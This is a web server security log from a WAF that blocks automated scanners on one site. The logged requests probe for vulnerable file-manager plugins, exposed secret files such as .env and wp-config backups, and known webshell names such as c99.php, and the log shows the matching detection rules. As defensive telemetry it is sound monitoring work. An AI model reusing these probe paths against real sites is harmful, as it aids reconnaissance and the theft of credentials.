[Sun Jan 11 06:58:07.528711 2026] [:error] [pid 5153:tid 5201] [client 35.77.102.47:58764] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/jquery.filer/index.html"] [unique_id "aWLZf81QbNSPD9bRi75yswAAAEw"]
[Sun Jan 11 06:58:07.904480 2026] [:error] [pid 5155:tid 5237] [client 35.77.102.47:58945] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asset/jquery.filer/index.html"] [unique_id "aWLZf1gEKFpNs0_zLGmjpwAAAJU"]
[Sun Jan 11 06:58:08.277126 2026] [:error] [pid 5155:tid 5225] [client 35.77.102.47:59116] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/plugins/jquery.filer/index.html"] [unique_id "aWLZgFgEKFpNs0_zLGmjqAAAAIk"]
[Sun Jan 11 06:58:08.649123 2026] [:error] [pid 5152:tid 5167] [client 35.77.102.47:59263] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/jquery.filer/index.html"] [unique_id "aWLZgBm0axGMFrpuXHBDSwAAAAU"]
[Sun Jan 11 06:58:09.035921 2026] [:error] [pid 5272:tid 5297] [client 35.77.102.47:59441] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/ckeditor/kcfinder/browse.php"] [unique_id "aWLZgVp55bCsukUvYGbQLgAAANc"]
[Sun Jan 11 06:58:09.418715 2026] [:error] [pid 11712:tid 11728] [client 35.77.102.47:59628] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/kcfinder/browse.php"] [unique_id "aWLZgWF97BzvNwnyJ3G7KwAAAQ4"]
[Sun Jan 11 06:58:09.793270 2026] [:error] [pid 5272:tid 5275] [client 35.77.102.47:59773] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/files/assets/ckeditor/kcfinder/browse.php"] [unique_id "aWLZgVp55bCsukUvYGbQLwAAAME"]
[Sun Jan 11 06:58:10.164715 2026] [:error] [pid 11712:tid 11727] [client 35.77.102.47:59948] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib/kcfinder/browse.php"] [unique_id "aWLZgmF97BzvNwnyJ3G7LAAAAQ0"]
[Sun Jan 11 06:58:10.538147 2026] [:error] [pid 5152:tid 5170] [client 35.77.102.47:60100] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/lib/kcfinder/browse.php"] [unique_id "aWLZghm0axGMFrpuXHBDTAAAAAg"]
[Sun Jan 11 06:58:10.910100 2026] [:error] [pid 11747:tid 11768] [client 35.77.102.47:60305] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/panel/kcfinder/browse.php"] [unique_id "aWLZgqRFw84LNpZSk7mAgQAAAVE"]
[Sun Jan 11 06:58:11.283749 2026] [:error] [pid 5153:tid 5211] [client 35.77.102.47:60481] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asset/kcfinder/browse.php"] [unique_id "aWLZg81QbNSPD9bRi75ytQAAAFY"]
[Sun Jan 11 06:58:11.667792 2026] [:error] [pid 5153:tid 5192] [client 35.77.102.47:60615] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asset/plugins/kcfinder/browse.php"] [unique_id "aWLZg81QbNSPD9bRi75ytgAAAEM"]
[Sun Jan 11 06:58:12.039744 2026] [:error] [pid 11748:tid 11789] [client 35.77.102.47:60822] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/kcfinder/browse.php"] [unique_id "aWLZhAC5xybrWOCNnoaR4gAAAYs"]
[Sun Jan 11 06:58:12.420988 2026] [:error] [pid 11748:tid 11781] [client 35.77.102.47:60987] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/kcfinder/browse.php"] [unique_id "aWLZhAC5xybrWOCNnoaR4wAAAYM"]
[Sun Jan 11 06:58:12.793543 2026] [:error] [pid 11748:tid 11799] [client 35.77.102.47:61140] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kcfinder/browse.php"] [unique_id "aWLZhAC5xybrWOCNnoaR5AAAAZU"]
[Sun Jan 11 06:58:13.182014 2026] [:error] [pid 11748:tid 11787] [client 35.77.102.47:61275] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/kcfinder/browse.php"] [unique_id "aWLZhQC5xybrWOCNnoaR5QAAAYk"]
[Sun Jan 11 06:58:13.614259 2026] [:error] [pid 11747:tid 11764] [client 35.77.102.47:61421] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/filemanager/dialog.php"] [unique_id "aWLZhaRFw84LNpZSk7mAhAAAAU0"]
[Sun Jan 11 06:58:13.989464 2026] [:error] [pid 11712:tid 11738] [client 35.77.102.47:61574] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/filemanager/dialog.php"] [unique_id "aWLZhWF97BzvNwnyJ3G7LgAAARg"]
[Sun Jan 11 06:58:14.364412 2026] [:error] [pid 5153:tid 5212] [client 35.77.102.47:61724] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/filemanager/dialog.php"] [unique_id "aWLZhs1QbNSPD9bRi75yuAAAAFc"]
[Sun Jan 11 06:58:14.736359 2026] [:error] [pid 11712:tid 11720] [client 35.77.102.47:61860] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/admin/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "aWLZhmF97BzvNwnyJ3G7MAAAAQY"]
[Sun Jan 11 06:58:15.113348 2026] [:error] [pid 5152:tid 5164] [client 35.77.102.47:62027] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aWLZhxm0axGMFrpuXHBDUAAAAAI"]
[Sun Jan 11 06:58:15.483812 2026] [:error] [pid 11712:tid 11714] [client 35.77.102.47:62186] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/filemanager/dialog.php"] [unique_id "aWLZh2F97BzvNwnyJ3G7MwAAAQA"]
[Sun Jan 11 06:58:15.854809 2026] [:error] [pid 5152:tid 5165] [client 35.77.102.47:62345] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinymce/filemanager/dialog.php"] [unique_id "aWLZhxm0axGMFrpuXHBDUgAAAAM"]
[Sun Jan 11 06:58:16.227457 2026] [:error] [pid 11747:tid 11760] [client 35.77.102.47:62461] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/filemanager/dialog.php"] [unique_id "aWLZiKRFw84LNpZSk7mAiAAAAUk"]
[Sun Jan 11 06:58:16.599016 2026] [:error] [pid 11712:tid 11721] [client 35.77.102.47:62608] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/editor/plugins/filemanager/dialog.php"] [unique_id "aWLZiGF97BzvNwnyJ3G7NAAAAQc"]
[Sun Jan 11 06:58:16.970792 2026] [:error] [pid 11748:tid 11795] [client 35.77.102.47:62746] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vendor/filemanager/dialog.php"] [unique_id "aWLZiAC5xybrWOCNnoaR6QAAAZE"]
[Sun Jan 11 06:58:17.357927 2026] [:error] [pid 11748:tid 11797] [client 35.77.102.47:62879] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinymce/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "aWLZiQC5xybrWOCNnoaR6gAAAZM"]
[Sun Jan 11 06:58:17.729023 2026] [:error] [pid 11748:tid 11801] [client 35.77.102.47:63035] [client 35.77.102.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aWLZiQC5xybrWOCNnoaR6wAAAZc"]
[Sun Jan 11 06:58:18.105274 2026] [:error] [pid 5152:tid 5166] [client 35.77.102.47:63165] [client 35.77.102.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aWLZihm0axGMFrpuXHBDUwAAAAQ"]
[Sun Jan 11 06:58:18.480047 2026] [:error] [pid 11747:tid 11758] [client 35.77.102.47:63314] [client 35.77.102.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aWLZiqRFw84LNpZSk7mAigAAAUc"]
[Sun Jan 11 06:58:18.854609 2026] [:error] [pid 11747:tid 11755] [client 35.77.102.47:63426] [client 35.77.102.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-config.php~"] [unique_id "aWLZiqRFw84LNpZSk7mAiwAAAUQ"]
[Sun Jan 11 11:54:34.787446 2026] [:error] [pid 35977:tid 35987] [client 94.247.172.129:27837] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.agraphics.com.au|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "aWMe-rDST5RMqStLeP0e2AAAAgc"]
[Sun Jan 11 15:30:20.018158 2026] [:error] [pid 36611:tid 36613] [client 103.56.208.204:51296] [client 103.56.208.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.56.208.204, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWNRjD8oZoZHsoTdjhg6HQAAAkA"]
[Sun Jan 11 15:30:20.029566 2026] [proxy_fcgi:error] [pid 36611:tid 36613] [client 103.56.208.204:51296] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:41:35.378881 2026] [proxy_fcgi:error] [pid 35730:tid 35744] [client 4.247.164.63:32387] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:41:35.534588 2026] [proxy_fcgi:error] [pid 35730:tid 35751] [client 4.247.164.63:32387] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:41:35.759035 2026] [proxy_fcgi:error] [pid 35730:tid 35748] [client 4.247.164.63:32387] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:41:35.900137 2026] [proxy_fcgi:error] [pid 35730:tid 35737] [client 4.247.164.63:32387] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:41:36.040444 2026] [proxy_fcgi:error] [pid 35730:tid 35741] [client 4.247.164.63:32387] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:41:36.209274 2026] [proxy_fcgi:error] [pid 35730:tid 35754] [client 4.247.164.63:32387] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:41:36.383252 2026] [proxy_fcgi:error] [pid 35730:tid 35747] [client 4.247.164.63:32387] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:41:36.523783 2026] [proxy_fcgi:error] [pid 35730:tid 35746] [client 4.247.164.63:32387] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:41:36.692219 2026] [proxy_fcgi:error] [pid 35730:tid 35736] [client 4.247.164.63:32387] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:41:36.843513 2026] [proxy_fcgi:error] [pid 35730:tid 35743] [client 4.247.164.63:32387] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:41:36.980578 2026] [:error] [pid 35730:tid 35752] [client 4.247.164.63:32387] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aWOagDi7U_mfHtESQHlbUgAAAdQ"]
[Sun Jan 11 20:41:37.419925 2026] [:error] [pid 35977:tid 35987] [client 4.247.164.63:5853] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aWOagbDST5RMqStLeP15CgAAAgc"]
[Sun Jan 11 20:41:38.035458 2026] [:error] [pid 5152:tid 5182] [client 4.247.164.63:35330] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aWOaghm0axGMFrpuXHCVqAAAABQ"]
[Sun Jan 11 20:41:38.425900 2026] [:error] [pid 5155:tid 5224] [client 4.247.164.63:35345] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aWOaglgEKFpNs0_zLGkeXwAAAIg"]
[Sun Jan 11 20:41:38.856413 2026] [:error] [pid 5272:tid 5298] [client 4.247.164.63:39443] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filename.php"] [unique_id "aWOaglp55bCsukUvYGZ0NgAAANg"]
[Sun Jan 11 20:41:39.207008 2026] [:error] [pid 35977:tid 35988] [client 4.247.164.63:35761] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filename.php"] [unique_id "aWOag7DST5RMqStLeP15DAAAAgg"]
[Sun Jan 11 20:41:39.664884 2026] [:error] [pid 5152:tid 5183] [client 4.247.164.63:5831] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filename.php"] [unique_id "aWOagxm0axGMFrpuXHCVqQAAABU"]
[Sun Jan 11 20:41:40.266382 2026] [:error] [pid 5155:tid 5238] [client 4.247.164.63:5847] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filename.php"] [unique_id "aWOahFgEKFpNs0_zLGkeYQAAAJY"]
[Sun Jan 11 20:41:40.655725 2026] [:error] [pid 5155:tid 5231] [client 4.247.164.63:32430] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c99.php"] [unique_id "aWOahFgEKFpNs0_zLGkeYwAAAI8"]
[Sun Jan 11 20:41:40.975474 2026] [:error] [pid 36611:tid 36630] [client 4.247.164.63:53104] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c99.php"] [unique_id "aWOahD8oZoZHsoTdjhhfyQAAAlE"]
[Sun Jan 11 20:41:41.323228 2026] [:error] [pid 36611:tid 36635] [client 4.247.164.63:59934] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c99.php"] [unique_id "aWOahT8oZoZHsoTdjhhfygAAAlY"]
[Sun Jan 11 20:41:41.682440 2026] [:error] [pid 11747:tid 11764] [client 4.247.164.63:41386] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c99.php"] [unique_id "aWOahaRFw84LNpZSk7nh8gAAAU0"]
[Sun Jan 11 20:41:42.003743 2026] [:error] [pid 11747:tid 11758] [client 4.247.164.63:39424] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c99.php"] [unique_id "aWOahqRFw84LNpZSk7nh8wAAAUc"]
[Sun Jan 11 20:41:42.376776 2026] [:error] [pid 11748:tid 11798] [client 4.247.164.63:41363] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c99.php"] [unique_id "aWOahgC5xybrWOCNnoYAnAAAAZQ"]
[Sun Jan 11 20:41:42.889680 2026] [:error] [pid 5152:tid 5176] [client 4.247.164.63:32904] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c99.php"] [unique_id "aWOahhm0axGMFrpuXHCVrAAAAA4"]
[Sun Jan 11 20:41:43.275949 2026] [:error] [pid 35730:tid 35734] [client 4.247.164.63:32390] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c99.php"] [unique_id "aWOahzi7U_mfHtESQHlbVAAAAcI"]
[Sun Jan 11 20:41:44.049727 2026] [:error] [pid 11747:tid 11775] [client 4.247.164.63:39469] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eval.php"] [unique_id "aWOaiKRFw84LNpZSk7nh9AAAAVg"]
[Sun Jan 11 20:41:44.753590 2026] [:error] [pid 5153:tid 5199] [client 4.247.164.63:35369] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eval.php"] [unique_id "aWOaiM1QbNSPD9bRi77JegAAAEo"]
[Sun Jan 11 20:41:45.083181 2026] [:error] [pid 36611:tid 36616] [client 4.247.164.63:32399] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eval.php"] [unique_id "aWOaiT8oZoZHsoTdjhhfzQAAAkM"]
